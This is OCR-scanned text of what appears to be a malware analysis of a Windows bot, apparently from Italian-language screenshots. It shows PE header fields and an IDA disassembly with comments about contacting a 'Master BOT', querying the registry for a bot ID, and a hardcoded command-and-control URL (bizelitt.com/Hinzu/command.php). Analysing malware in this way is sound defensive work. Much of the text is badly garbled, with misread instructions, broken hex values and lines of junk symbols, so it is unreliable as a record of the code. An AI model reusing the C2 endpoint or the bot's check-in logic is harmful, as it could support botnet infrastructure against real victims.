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PE Details

r~Basic Infarmation

% %"(/1 EntryPoint; | 100046C0 SubSystem; |0002
ImageBase: | 00400000 MurnberOfSections: | 0005
E SizeOffmage; 00031000 TimeDateStamp: [46846038
Mame | v, offset | v. size | . offset | . size | Flags | BaseOfCode; | 00001000 SizeOfHeaders: (00001000
et 00001000 O0026BCO 00001000 00027000 60000020 BaseOfData; |00001000 e e
.rdata 000z3000  OO001F41 000z&000 Q0002000 40000040 i : — _
.data 000ZAODD 00003664  DO00ZAQOOD 00002000  COOOOO40 SectionAlignment: 00001000 Checksum: |D0DODO0D
Jidata 0D02E000  000009SA 00020000 00001000  COOOOO40 Filealignment: | 00001000 Sizs0FOptionalHeader: |00ED
.reloc 000ZFO00 0000100 000z0000 00002000 42000040 . ——
Magic: | 0108 NurmCFRyafindSizes: |00000010
— Direckary Information
RAA SIZE
ExportTable: |00000000 00000000
ImportTable: |000ZE0O0 0000005C EI
Resource: | 00000000 oooo0oog
TLSTable: |00000000 00000000
Debug: |Duuzaonn |uunoomc ]
[.12( (&10%
Cllrame | CriginalFirst Thunk, | TimeDateStamp | ForwarderChain | Mame | FirstThunk |
KERMEL3Z.dll 000ZED7OD 0noaoaoa 00000000 O00ZE475 0O0zE200
ADYAPTIZ I O00ZED3C ooooaoo 00000000 O00ZE4AC 0002E1CC
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; Attributes: bp-based frane

WinHainE16_@ proc near

war_hli2g= byte ptr -4428h
var_43ER= byte prtr -43E8N
arg_O=- dward ptr B

arg_ 8= dword ptr  16h
arg_C= dword ptr 1hh

push ebp

nau ebp, esp

nou eax, 44Z8h

call __alloca_probe

push eh

push esi

push edi

1lea edi, [ebp+uar_ hh28]
nou ecx, 11@ih

o [P [HHHHH HHH ]

rep stosd

lea eck, [ebp+var_W3EB]
call sub_Lia18g7 : Routine che non fa nulla di
oy eax, [ebptarg ]
push eax

now ecx, [ebprarg_ 8]

push [

lea ecH, [ebpsuar NIEB]
lea ecx; [ebpruar_N3EH]
call sub_hB1820 7 Routine di contorno che mon
bl Bak, eax

pop edi

pop esi

pop ehbx

add esp, W428h

cnp ebp, esp

call chkesp

nou esp, ebp

pop ebp

retn 18h

WinHainE16 A endp

3 dnt _ stdcall WinMain{HINSTANCE hInstance, WINSTANGE hPrevinstance, LPSTR 1pGrdline, int nShowcmd)

call sub_La1eiy ; Routine che aggiorna lo state della conmessione con i1 Master BOT

nou edx, [ebp+arg_ 0]

push edx

lea ecx, [ebpruar 43EH]

call sub_B18e4 5 Routine che si occupa di stabilire il contatto con il Haster BOT

importante

fa nulla :m, r

[

[71.78% [-aos,2)  [i58,153)  [ooDO30SF  [DO40309F: _WinMain@16_0+F
2 g n n nn 9 ! n ; n
7 ! n ! nn n n 4 n * O+ 6
<=>2($2>/$0&7?18 " * 4 " "4 * oo
n @ n 1
ao4a1BAD mov [ebp+cbData], &
08401BB4 mou esi, esp
884 81BBG lea eax, [ebp+chData]
884 81BBY push eax ; lpcbData
A4 B1BBA mou ec®, [ebp+uar_ 4]
a8481BBD add ecx, 3BEBh
884 81BC3 push ecx ; lpDhata
ae4a1BCY push a ; 1pType
B4 B1BCAH push a ; 1pReserved
884 81BCE push offset ValueNHame ; "'id"
a8481BCD push 800880062h ; hKey
aau@a1BD2 call ds:ReqfueryUalueExn ; Eseque una query per conoscere se 1'host
a4 e1BD2 : ha gia avuto un ID dal Master BOT
7 2@ n ! /ll 3 * 4 * !4 nn ! 1 *xn n ! *
n n n n !A n A
.text:ooue17a9 add esp, &
-text:B84817AC push offset aHttpBizelitt c ; "http://bizelitt.com/Hinzu/command .php™
-text:-084817B1 mov eax, [ebp+var_i]
text-abhao17BY add eax, 3FE4h
text-abao17B? push eax ; Dest
-text:-084817BA call _strcpy
7 2 9 I ** "7 " 1 9" 4
n 9 n !
i; & n , 1 n nn
‘sf{i‘ E3 "ok
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